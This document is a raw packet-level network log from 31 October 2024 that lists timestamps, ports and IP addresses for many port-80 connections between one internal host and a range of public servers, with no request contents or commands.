Oct 31, 2024 16:04:36.036319971 CET	49202	80	192.168.2.22	82.112.184.197
Oct 31, 2024 16:04:36.041309118 CET	80	49202	82.112.184.197	192.168.2.22
Oct 31, 2024 16:04:36.232670069 CET	49213	80	192.168.2.22	82.112.184.197
Oct 31, 2024 16:04:36.237660885 CET	80	49213	82.112.184.197	192.168.2.22
Oct 31, 2024 16:04:36.237857103 CET	49213	80	192.168.2.22	82.112.184.197
Oct 31, 2024 16:04:36.238004923 CET	49213	80	192.168.2.22	82.112.184.197
Oct 31, 2024 16:04:36.238022089 CET	49213	80	192.168.2.22	82.112.184.197
Oct 31, 2024 16:04:36.241961956 CET	80	49212	54.244.188.177	192.168.2.22
Oct 31, 2024 16:04:36.242741108 CET	49212	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:04:36.242808104 CET	80	49213	82.112.184.197	192.168.2.22
Oct 31, 2024 16:04:36.242856979 CET	80	49213	82.112.184.197	192.168.2.22
Oct 31, 2024 16:04:36.248363972 CET	80	49212	54.244.188.177	192.168.2.22
Oct 31, 2024 16:04:36.248430967 CET	49212	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:04:36.267059088 CET	49201	80	192.168.2.22	208.100.26.245
Oct 31, 2024 16:04:36.267106056 CET	49201	80	192.168.2.22	208.100.26.245
Oct 31, 2024 16:04:36.272020102 CET	80	49201	208.100.26.245	192.168.2.22
Oct 31, 2024 16:04:36.272058964 CET	80	49201	208.100.26.245	192.168.2.22
Oct 31, 2024 16:04:36.415535927 CET	80	49201	208.100.26.245	192.168.2.22
Oct 31, 2024 16:04:36.434501886 CET	49201	80	192.168.2.22	208.100.26.245
Oct 31, 2024 16:04:36.434544086 CET	49201	80	192.168.2.22	208.100.26.245
Oct 31, 2024 16:04:36.439461946 CET	80	49201	208.100.26.245	192.168.2.22
Oct 31, 2024 16:04:36.439810038 CET	80	49201	208.100.26.245	192.168.2.22
Oct 31, 2024 16:04:36.584119081 CET	80	49201	208.100.26.245	192.168.2.22
Oct 31, 2024 16:04:36.610671997 CET	49214	80	192.168.2.22	34.211.97.45
Oct 31, 2024 16:04:36.615679026 CET	80	49214	34.211.97.45	192.168.2.22
Oct 31, 2024 16:04:36.615741014 CET	49214	80	192.168.2.22	34.211.97.45
Oct 31, 2024 16:04:36.616111040 CET	49214	80	192.168.2.22	34.211.97.45
Oct 31, 2024 16:04:36.616173029 CET	49214	80	192.168.2.22	34.211.97.45
Oct 31, 2024 16:04:36.621066093 CET	80	49214	34.211.97.45	192.168.2.22
Oct 31, 2024 16:04:36.621095896 CET	80	49214	34.211.97.45	192.168.2.22
Oct 31, 2024 16:04:36.799782991 CET	80	49201	208.100.26.245	192.168.2.22
Oct 31, 2024 16:04:36.799897909 CET	49201	80	192.168.2.22	208.100.26.245
Oct 31, 2024 16:04:37.449883938 CET	80	49214	34.211.97.45	192.168.2.22
Oct 31, 2024 16:04:37.450166941 CET	49214	80	192.168.2.22	34.211.97.45
Oct 31, 2024 16:04:37.458666086 CET	80	49214	34.211.97.45	192.168.2.22
Oct 31, 2024 16:04:37.458875895 CET	49214	80	192.168.2.22	34.211.97.45
Oct 31, 2024 16:04:37.489089966 CET	49215	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:04:37.494124889 CET	80	49215	54.244.188.177	192.168.2.22
Oct 31, 2024 16:04:37.494232893 CET	49215	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:04:37.494436979 CET	49215	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:04:37.494537115 CET	49215	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:04:37.499682903 CET	80	49215	54.244.188.177	192.168.2.22
Oct 31, 2024 16:04:37.500057936 CET	80	49215	54.244.188.177	192.168.2.22
Oct 31, 2024 16:04:38.345880032 CET	80	49215	54.244.188.177	192.168.2.22
Oct 31, 2024 16:04:38.346215010 CET	49215	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:04:38.351867914 CET	80	49215	54.244.188.177	192.168.2.22
Oct 31, 2024 16:04:38.351963043 CET	49215	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:04:38.636710882 CET	49216	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:04:38.641638041 CET	80	49216	18.141.10.107	192.168.2.22
Oct 31, 2024 16:04:38.641737938 CET	49216	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:04:38.641983032 CET	49216	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:04:38.642092943 CET	49216	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:04:38.647026062 CET	80	49216	18.141.10.107	192.168.2.22
Oct 31, 2024 16:04:38.647718906 CET	80	49216	18.141.10.107	192.168.2.22
Oct 31, 2024 16:04:40.071455956 CET	80	49216	18.141.10.107	192.168.2.22
Oct 31, 2024 16:04:40.076113939 CET	49216	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:04:40.115711927 CET	80	49216	18.141.10.107	192.168.2.22
Oct 31, 2024 16:04:40.116916895 CET	49216	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:04:40.157814980 CET	49217	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:04:40.162830114 CET	80	49217	18.208.156.248	192.168.2.22
Oct 31, 2024 16:04:40.162962914 CET	49217	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:04:40.163203001 CET	49217	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:04:40.163242102 CET	49217	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:04:40.168553114 CET	80	49217	18.208.156.248	192.168.2.22
Oct 31, 2024 16:04:40.168581963 CET	80	49217	18.208.156.248	192.168.2.22
Oct 31, 2024 16:04:40.924976110 CET	80	49217	18.208.156.248	192.168.2.22
Oct 31, 2024 16:04:40.925051928 CET	80	49217	18.208.156.248	192.168.2.22
Oct 31, 2024 16:04:40.925065994 CET	80	49217	18.208.156.248	192.168.2.22
Oct 31, 2024 16:04:40.925113916 CET	49217	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:04:40.925259113 CET	49217	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:04:40.930301905 CET	80	49217	18.208.156.248	192.168.2.22
Oct 31, 2024 16:04:40.947442055 CET	49218	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:04:40.952606916 CET	80	49218	44.221.84.105	192.168.2.22
Oct 31, 2024 16:04:40.952665091 CET	49218	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:04:40.952934980 CET	49218	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:04:40.952974081 CET	49218	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:04:40.958709002 CET	80	49218	44.221.84.105	192.168.2.22
Oct 31, 2024 16:04:40.959541082 CET	80	49218	44.221.84.105	192.168.2.22
Oct 31, 2024 16:04:41.652496099 CET	80	49218	44.221.84.105	192.168.2.22
Oct 31, 2024 16:04:41.652662992 CET	49218	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:04:41.658171892 CET	80	49218	44.221.84.105	192.168.2.22
Oct 31, 2024 16:04:41.658225060 CET	49218	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:04:41.850112915 CET	49219	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:04:41.855149984 CET	80	49219	18.141.10.107	192.168.2.22
Oct 31, 2024 16:04:41.855222940 CET	49219	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:04:41.883009911 CET	49219	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:04:41.883047104 CET	49219	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:04:41.888051033 CET	80	49219	18.141.10.107	192.168.2.22
Oct 31, 2024 16:04:41.888139009 CET	80	49219	18.141.10.107	192.168.2.22
Oct 31, 2024 16:04:43.368016005 CET	80	49219	18.141.10.107	192.168.2.22
Oct 31, 2024 16:04:43.368606091 CET	49219	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:04:43.378253937 CET	80	49219	18.141.10.107	192.168.2.22
Oct 31, 2024 16:04:43.378334045 CET	49219	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:04:43.470426083 CET	49220	80	192.168.2.22	18.246.231.120
Oct 31, 2024 16:04:43.476217985 CET	80	49220	18.246.231.120	192.168.2.22
Oct 31, 2024 16:04:43.476290941 CET	49220	80	192.168.2.22	18.246.231.120
Oct 31, 2024 16:04:43.476778030 CET	49220	80	192.168.2.22	18.246.231.120
Oct 31, 2024 16:04:43.476814032 CET	49220	80	192.168.2.22	18.246.231.120
Oct 31, 2024 16:04:43.481641054 CET	80	49220	18.246.231.120	192.168.2.22
Oct 31, 2024 16:04:43.482108116 CET	80	49220	18.246.231.120	192.168.2.22
Oct 31, 2024 16:04:44.353239059 CET	80	49220	18.246.231.120	192.168.2.22
Oct 31, 2024 16:04:44.353746891 CET	49220	80	192.168.2.22	18.246.231.120
Oct 31, 2024 16:04:44.359056950 CET	80	49220	18.246.231.120	192.168.2.22
Oct 31, 2024 16:04:44.359143019 CET	49220	80	192.168.2.22	18.246.231.120
Oct 31, 2024 16:04:44.379276037 CET	49221	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:04:44.384464979 CET	80	49221	18.208.156.248	192.168.2.22
Oct 31, 2024 16:04:44.385194063 CET	49221	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:04:44.385449886 CET	49221	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:04:44.385498047 CET	49221	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:04:44.390455008 CET	80	49221	18.208.156.248	192.168.2.22
Oct 31, 2024 16:04:44.390598059 CET	80	49221	18.208.156.248	192.168.2.22
Oct 31, 2024 16:04:44.714550972 CET	80	49213	82.112.184.197	192.168.2.22
Oct 31, 2024 16:04:44.717917919 CET	49213	80	192.168.2.22	82.112.184.197
Oct 31, 2024 16:04:44.717972040 CET	49213	80	192.168.2.22	82.112.184.197
Oct 31, 2024 16:04:44.723465919 CET	80	49213	82.112.184.197	192.168.2.22
Oct 31, 2024 16:04:44.741980076 CET	49222	80	192.168.2.22	47.129.31.212
Oct 31, 2024 16:04:44.747251987 CET	80	49222	47.129.31.212	192.168.2.22
Oct 31, 2024 16:04:44.748475075 CET	49222	80	192.168.2.22	47.129.31.212
Oct 31, 2024 16:04:44.748588085 CET	49222	80	192.168.2.22	47.129.31.212
Oct 31, 2024 16:04:44.748622894 CET	49222	80	192.168.2.22	47.129.31.212
Oct 31, 2024 16:04:44.754475117 CET	80	49222	47.129.31.212	192.168.2.22
Oct 31, 2024 16:04:44.754667997 CET	80	49222	47.129.31.212	192.168.2.22
Oct 31, 2024 16:04:45.054054022 CET	80	49221	18.208.156.248	192.168.2.22
Oct 31, 2024 16:04:45.054979086 CET	49221	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:04:45.061166048 CET	80	49221	18.208.156.248	192.168.2.22
Oct 31, 2024 16:04:45.061918020 CET	49221	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:04:45.180891991 CET	49223	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:04:45.185821056 CET	80	49223	13.251.16.150	192.168.2.22
Oct 31, 2024 16:04:45.185909033 CET	49223	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:04:45.189412117 CET	49223	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:04:45.189445972 CET	49223	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:04:45.195441008 CET	80	49223	13.251.16.150	192.168.2.22
Oct 31, 2024 16:04:45.195471048 CET	80	49223	13.251.16.150	192.168.2.22
Oct 31, 2024 16:04:46.205126047 CET	80	49222	47.129.31.212	192.168.2.22
Oct 31, 2024 16:04:46.205267906 CET	49222	80	192.168.2.22	47.129.31.212
Oct 31, 2024 16:04:46.211014986 CET	80	49222	47.129.31.212	192.168.2.22
Oct 31, 2024 16:04:46.211081028 CET	49222	80	192.168.2.22	47.129.31.212
Oct 31, 2024 16:04:46.226402044 CET	49224	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:04:46.231342077 CET	80	49224	13.251.16.150	192.168.2.22
Oct 31, 2024 16:04:46.232057095 CET	49224	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:04:46.232157946 CET	49224	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:04:46.232168913 CET	49224	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:04:46.237554073 CET	80	49224	13.251.16.150	192.168.2.22
Oct 31, 2024 16:04:46.237585068 CET	80	49224	13.251.16.150	192.168.2.22
Oct 31, 2024 16:04:46.669159889 CET	80	49223	13.251.16.150	192.168.2.22
Oct 31, 2024 16:04:46.669975042 CET	49223	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:04:46.676002026 CET	80	49223	13.251.16.150	192.168.2.22
Oct 31, 2024 16:04:46.676064014 CET	49223	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:04:46.694948912 CET	49225	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:04:46.700319052 CET	80	49225	13.251.16.150	192.168.2.22
Oct 31, 2024 16:04:46.700592995 CET	49225	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:04:46.700895071 CET	49225	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:04:46.701003075 CET	49225	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:04:46.707807064 CET	80	49225	13.251.16.150	192.168.2.22
Oct 31, 2024 16:04:46.708005905 CET	80	49225	13.251.16.150	192.168.2.22
Oct 31, 2024 16:04:47.675139904 CET	80	49224	13.251.16.150	192.168.2.22
Oct 31, 2024 16:04:47.675290108 CET	49224	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:04:47.682223082 CET	80	49224	13.251.16.150	192.168.2.22
Oct 31, 2024 16:04:47.682897091 CET	49224	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:04:48.061994076 CET	49226	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:04:48.067255020 CET	80	49226	44.221.84.105	192.168.2.22
Oct 31, 2024 16:04:48.067578077 CET	49226	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:04:48.067677021 CET	49226	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:04:48.067691088 CET	49226	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:04:48.072729111 CET	80	49226	44.221.84.105	192.168.2.22
Oct 31, 2024 16:04:48.072782040 CET	80	49226	44.221.84.105	192.168.2.22
Oct 31, 2024 16:04:48.132766962 CET	80	49225	13.251.16.150	192.168.2.22
Oct 31, 2024 16:04:48.132981062 CET	49225	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:04:48.139702082 CET	80	49225	13.251.16.150	192.168.2.22
Oct 31, 2024 16:04:48.139767885 CET	49225	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:04:48.158710003 CET	49227	80	192.168.2.22	34.211.97.45
Oct 31, 2024 16:04:48.164424896 CET	80	49227	34.211.97.45	192.168.2.22
Oct 31, 2024 16:04:48.164648056 CET	49227	80	192.168.2.22	34.211.97.45
Oct 31, 2024 16:04:48.165030003 CET	49227	80	192.168.2.22	34.211.97.45
Oct 31, 2024 16:04:48.165061951 CET	49227	80	192.168.2.22	34.211.97.45
Oct 31, 2024 16:04:48.170129061 CET	80	49227	34.211.97.45	192.168.2.22
Oct 31, 2024 16:04:48.170152903 CET	80	49227	34.211.97.45	192.168.2.22
Oct 31, 2024 16:04:48.746299028 CET	80	49226	44.221.84.105	192.168.2.22
Oct 31, 2024 16:04:48.750015020 CET	49226	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:04:48.755644083 CET	80	49226	44.221.84.105	192.168.2.22
Oct 31, 2024 16:04:48.757939100 CET	49226	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:04:48.986228943 CET	80	49227	34.211.97.45	192.168.2.22
Oct 31, 2024 16:04:48.990042925 CET	49227	80	192.168.2.22	34.211.97.45
Oct 31, 2024 16:04:48.995285034 CET	80	49227	34.211.97.45	192.168.2.22
Oct 31, 2024 16:04:48.997930050 CET	49227	80	192.168.2.22	34.211.97.45
Oct 31, 2024 16:04:49.084280968 CET	49228	80	192.168.2.22	47.129.31.212
Oct 31, 2024 16:04:49.087941885 CET	49229	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:04:49.090816021 CET	80	49228	47.129.31.212	192.168.2.22
Oct 31, 2024 16:04:49.090879917 CET	49228	80	192.168.2.22	47.129.31.212
Oct 31, 2024 16:04:49.090960979 CET	49228	80	192.168.2.22	47.129.31.212
Oct 31, 2024 16:04:49.090976000 CET	49228	80	192.168.2.22	47.129.31.212
Oct 31, 2024 16:04:49.093759060 CET	80	49229	18.141.10.107	192.168.2.22
Oct 31, 2024 16:04:49.093839884 CET	49229	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:04:49.096813917 CET	80	49228	47.129.31.212	192.168.2.22
Oct 31, 2024 16:04:49.097338915 CET	80	49228	47.129.31.212	192.168.2.22
Oct 31, 2024 16:04:49.114799023 CET	49229	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:04:49.114834070 CET	49229	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:04:49.122205019 CET	80	49229	18.141.10.107	192.168.2.22
Oct 31, 2024 16:04:49.122219086 CET	80	49229	18.141.10.107	192.168.2.22
Oct 31, 2024 16:04:50.545140982 CET	80	49229	18.141.10.107	192.168.2.22
Oct 31, 2024 16:04:50.556900978 CET	80	49228	47.129.31.212	192.168.2.22
Oct 31, 2024 16:04:50.580215931 CET	49229	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:04:50.580682039 CET	49228	80	192.168.2.22	47.129.31.212
Oct 31, 2024 16:04:50.585989952 CET	80	49229	18.141.10.107	192.168.2.22
Oct 31, 2024 16:04:50.586061001 CET	49229	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:04:50.586699963 CET	80	49228	47.129.31.212	192.168.2.22
Oct 31, 2024 16:04:50.586762905 CET	49228	80	192.168.2.22	47.129.31.212
Oct 31, 2024 16:04:50.622759104 CET	49230	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:04:50.625397921 CET	49231	80	192.168.2.22	172.234.222.138
Oct 31, 2024 16:04:50.627619982 CET	80	49230	13.251.16.150	192.168.2.22
Oct 31, 2024 16:04:50.627684116 CET	49230	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:04:50.628467083 CET	49230	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:04:50.628524065 CET	49230	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:04:50.630358934 CET	80	49231	172.234.222.138	192.168.2.22
Oct 31, 2024 16:04:50.630423069 CET	49231	80	192.168.2.22	172.234.222.138
Oct 31, 2024 16:04:50.630502939 CET	49231	80	192.168.2.22	172.234.222.138
Oct 31, 2024 16:04:50.630526066 CET	49231	80	192.168.2.22	172.234.222.138
Oct 31, 2024 16:04:50.633316040 CET	80	49230	13.251.16.150	192.168.2.22
Oct 31, 2024 16:04:50.633333921 CET	80	49230	13.251.16.150	192.168.2.22
Oct 31, 2024 16:04:50.635344982 CET	80	49231	172.234.222.138	192.168.2.22
Oct 31, 2024 16:04:50.635359049 CET	80	49231	172.234.222.138	192.168.2.22
Oct 31, 2024 16:04:51.284707069 CET	80	49231	172.234.222.138	192.168.2.22
Oct 31, 2024 16:04:51.284768105 CET	49231	80	192.168.2.22	172.234.222.138
Oct 31, 2024 16:04:51.289227009 CET	49231	80	192.168.2.22	172.234.222.138
Oct 31, 2024 16:04:51.294243097 CET	80	49231	172.234.222.138	192.168.2.22
Oct 31, 2024 16:04:51.475821972 CET	49232	80	192.168.2.22	172.234.222.138
Oct 31, 2024 16:04:51.480858088 CET	80	49232	172.234.222.138	192.168.2.22
Oct 31, 2024 16:04:51.480920076 CET	49232	80	192.168.2.22	172.234.222.138
Oct 31, 2024 16:04:51.481055021 CET	49232	80	192.168.2.22	172.234.222.138
Oct 31, 2024 16:04:51.481084108 CET	49232	80	192.168.2.22	172.234.222.138
Oct 31, 2024 16:04:51.485866070 CET	80	49232	172.234.222.138	192.168.2.22
Oct 31, 2024 16:04:51.485876083 CET	80	49232	172.234.222.138	192.168.2.22
Oct 31, 2024 16:04:52.052869081 CET	80	49230	13.251.16.150	192.168.2.22
Oct 31, 2024 16:04:52.053492069 CET	49230	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:04:52.058940887 CET	80	49230	13.251.16.150	192.168.2.22
Oct 31, 2024 16:04:52.058993101 CET	49230	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:04:52.067265987 CET	49235	80	192.168.2.22	34.211.97.45
Oct 31, 2024 16:04:52.072135925 CET	80	49235	34.211.97.45	192.168.2.22
Oct 31, 2024 16:04:52.072212934 CET	49235	80	192.168.2.22	34.211.97.45
Oct 31, 2024 16:04:52.072634935 CET	49235	80	192.168.2.22	34.211.97.45
Oct 31, 2024 16:04:52.072664976 CET	49235	80	192.168.2.22	34.211.97.45
Oct 31, 2024 16:04:52.077491045 CET	80	49235	34.211.97.45	192.168.2.22
Oct 31, 2024 16:04:52.077570915 CET	80	49235	34.211.97.45	192.168.2.22
Oct 31, 2024 16:04:52.174907923 CET	80	49232	172.234.222.138	192.168.2.22
Oct 31, 2024 16:04:52.177964926 CET	49232	80	192.168.2.22	172.234.222.138
Oct 31, 2024 16:04:52.181926966 CET	49232	80	192.168.2.22	172.234.222.138
Oct 31, 2024 16:04:52.186754942 CET	80	49232	172.234.222.138	192.168.2.22
Oct 31, 2024 16:04:52.191900969 CET	49236	80	192.168.2.22	34.246.200.160
Oct 31, 2024 16:04:52.196934938 CET	80	49236	34.246.200.160	192.168.2.22
Oct 31, 2024 16:04:52.197011948 CET	49236	80	192.168.2.22	34.246.200.160
Oct 31, 2024 16:04:52.197065115 CET	49236	80	192.168.2.22	34.246.200.160
Oct 31, 2024 16:04:52.197079897 CET	49236	80	192.168.2.22	34.246.200.160
Oct 31, 2024 16:04:52.202018023 CET	80	49236	34.246.200.160	192.168.2.22
Oct 31, 2024 16:04:52.202033043 CET	80	49236	34.246.200.160	192.168.2.22
Oct 31, 2024 16:04:52.928740978 CET	80	49235	34.211.97.45	192.168.2.22
Oct 31, 2024 16:04:52.929584026 CET	49235	80	192.168.2.22	34.211.97.45
Oct 31, 2024 16:04:52.934850931 CET	80	49235	34.211.97.45	192.168.2.22
Oct 31, 2024 16:04:52.935250044 CET	49235	80	192.168.2.22	34.211.97.45
Oct 31, 2024 16:04:52.953840971 CET	49239	80	192.168.2.22	3.94.10.34
Oct 31, 2024 16:04:52.958678007 CET	80	49239	3.94.10.34	192.168.2.22
Oct 31, 2024 16:04:52.960001945 CET	49239	80	192.168.2.22	3.94.10.34
Oct 31, 2024 16:04:52.983393908 CET	49239	80	192.168.2.22	3.94.10.34
Oct 31, 2024 16:04:52.983474016 CET	49239	80	192.168.2.22	3.94.10.34
Oct 31, 2024 16:04:52.988585949 CET	80	49239	3.94.10.34	192.168.2.22
Oct 31, 2024 16:04:52.988651037 CET	80	49239	3.94.10.34	192.168.2.22
Oct 31, 2024 16:04:53.169142962 CET	80	49236	34.246.200.160	192.168.2.22
Oct 31, 2024 16:04:53.169451952 CET	49236	80	192.168.2.22	34.246.200.160
Oct 31, 2024 16:04:53.174799919 CET	80	49236	34.246.200.160	192.168.2.22
Oct 31, 2024 16:04:53.176019907 CET	49236	80	192.168.2.22	34.246.200.160
Oct 31, 2024 16:04:53.211498976 CET	49240	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:04:53.216424942 CET	80	49240	18.208.156.248	192.168.2.22
Oct 31, 2024 16:04:53.216496944 CET	49240	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:04:53.216871023 CET	49240	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:04:53.217129946 CET	49240	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:04:53.221666098 CET	80	49240	18.208.156.248	192.168.2.22
Oct 31, 2024 16:04:53.221931934 CET	80	49240	18.208.156.248	192.168.2.22
Oct 31, 2024 16:04:53.854968071 CET	80	49239	3.94.10.34	192.168.2.22
Oct 31, 2024 16:04:53.855074883 CET	80	49239	3.94.10.34	192.168.2.22
Oct 31, 2024 16:04:53.855153084 CET	49239	80	192.168.2.22	3.94.10.34
Oct 31, 2024 16:04:53.855220079 CET	80	49239	3.94.10.34	192.168.2.22
Oct 31, 2024 16:04:53.855271101 CET	49239	80	192.168.2.22	3.94.10.34
Oct 31, 2024 16:04:53.855446100 CET	49239	80	192.168.2.22	3.94.10.34
Oct 31, 2024 16:04:53.860672951 CET	80	49239	3.94.10.34	192.168.2.22
Oct 31, 2024 16:04:53.889406919 CET	80	49240	18.208.156.248	192.168.2.22
Oct 31, 2024 16:04:53.890090942 CET	49240	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:04:53.896415949 CET	80	49240	18.208.156.248	192.168.2.22
Oct 31, 2024 16:04:53.896528959 CET	49240	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:04:53.941662073 CET	49241	80	192.168.2.22	18.246.231.120
Oct 31, 2024 16:04:53.947124958 CET	80	49241	18.246.231.120	192.168.2.22
Oct 31, 2024 16:04:53.947208881 CET	49241	80	192.168.2.22	18.246.231.120
Oct 31, 2024 16:04:53.947887897 CET	49241	80	192.168.2.22	18.246.231.120
Oct 31, 2024 16:04:53.947947979 CET	49241	80	192.168.2.22	18.246.231.120
Oct 31, 2024 16:04:53.952795982 CET	80	49241	18.246.231.120	192.168.2.22
Oct 31, 2024 16:04:53.953208923 CET	80	49241	18.246.231.120	192.168.2.22
Oct 31, 2024 16:04:54.105592012 CET	49242	80	192.168.2.22	208.100.26.245
Oct 31, 2024 16:04:54.110685110 CET	80	49242	208.100.26.245	192.168.2.22
Oct 31, 2024 16:04:54.110773087 CET	49242	80	192.168.2.22	208.100.26.245
Oct 31, 2024 16:04:54.110929966 CET	49242	80	192.168.2.22	208.100.26.245
Oct 31, 2024 16:04:54.110955954 CET	49242	80	192.168.2.22	208.100.26.245
Oct 31, 2024 16:04:54.115843058 CET	80	49242	208.100.26.245	192.168.2.22
Oct 31, 2024 16:04:54.115861893 CET	80	49242	208.100.26.245	192.168.2.22
Oct 31, 2024 16:04:54.810070038 CET	80	49241	18.246.231.120	192.168.2.22
Oct 31, 2024 16:04:54.824007034 CET	49241	80	192.168.2.22	18.246.231.120
Oct 31, 2024 16:04:54.829765081 CET	80	49241	18.246.231.120	192.168.2.22
Oct 31, 2024 16:04:54.831996918 CET	49241	80	192.168.2.22	18.246.231.120
Oct 31, 2024 16:04:54.889919996 CET	49243	80	192.168.2.22	3.254.94.185
Oct 31, 2024 16:04:54.893500090 CET	80	49242	208.100.26.245	192.168.2.22
Oct 31, 2024 16:04:54.894793034 CET	80	49243	3.254.94.185	192.168.2.22
Oct 31, 2024 16:04:54.894886017 CET	49243	80	192.168.2.22	3.254.94.185
Oct 31, 2024 16:04:54.934113026 CET	49243	80	192.168.2.22	3.254.94.185
Oct 31, 2024 16:04:54.934124947 CET	49243	80	192.168.2.22	3.254.94.185
Oct 31, 2024 16:04:54.939023018 CET	80	49243	3.254.94.185	192.168.2.22
Oct 31, 2024 16:04:54.939034939 CET	80	49243	3.254.94.185	192.168.2.22
Oct 31, 2024 16:04:54.946593046 CET	49242	80	192.168.2.22	208.100.26.245
Oct 31, 2024 16:04:54.946620941 CET	49242	80	192.168.2.22	208.100.26.245
Oct 31, 2024 16:04:54.951491117 CET	80	49242	208.100.26.245	192.168.2.22
Oct 31, 2024 16:04:54.951502085 CET	80	49242	208.100.26.245	192.168.2.22
Oct 31, 2024 16:04:55.110750914 CET	80	49242	208.100.26.245	192.168.2.22
Oct 31, 2024 16:04:55.238068104 CET	49244	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:04:55.242994070 CET	80	49244	13.251.16.150	192.168.2.22
Oct 31, 2024 16:04:55.245969057 CET	49244	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:04:55.260788918 CET	49244	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:04:55.260848045 CET	49244	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:04:55.265651941 CET	80	49244	13.251.16.150	192.168.2.22
Oct 31, 2024 16:04:55.265671015 CET	80	49244	13.251.16.150	192.168.2.22
Oct 31, 2024 16:04:55.323802948 CET	80	49242	208.100.26.245	192.168.2.22
Oct 31, 2024 16:04:55.323883057 CET	49242	80	192.168.2.22	208.100.26.245
Oct 31, 2024 16:04:55.871669054 CET	80	49243	3.254.94.185	192.168.2.22
Oct 31, 2024 16:04:55.871897936 CET	49243	80	192.168.2.22	3.254.94.185
Oct 31, 2024 16:04:55.877370119 CET	80	49243	3.254.94.185	192.168.2.22
Oct 31, 2024 16:04:55.877417088 CET	49243	80	192.168.2.22	3.254.94.185
Oct 31, 2024 16:04:55.887465000 CET	49245	80	192.168.2.22	85.214.228.140
Oct 31, 2024 16:04:55.892307997 CET	80	49245	85.214.228.140	192.168.2.22
Oct 31, 2024 16:04:55.892364979 CET	49245	80	192.168.2.22	85.214.228.140
Oct 31, 2024 16:04:55.892766953 CET	49245	80	192.168.2.22	85.214.228.140
Oct 31, 2024 16:04:55.892805099 CET	49245	80	192.168.2.22	85.214.228.140
Oct 31, 2024 16:04:55.897578955 CET	80	49245	85.214.228.140	192.168.2.22
Oct 31, 2024 16:04:55.897630930 CET	80	49245	85.214.228.140	192.168.2.22
Oct 31, 2024 16:04:56.660336971 CET	80	49244	13.251.16.150	192.168.2.22
Oct 31, 2024 16:04:56.660583973 CET	49244	80	192.168.2.22	13.251.16.150
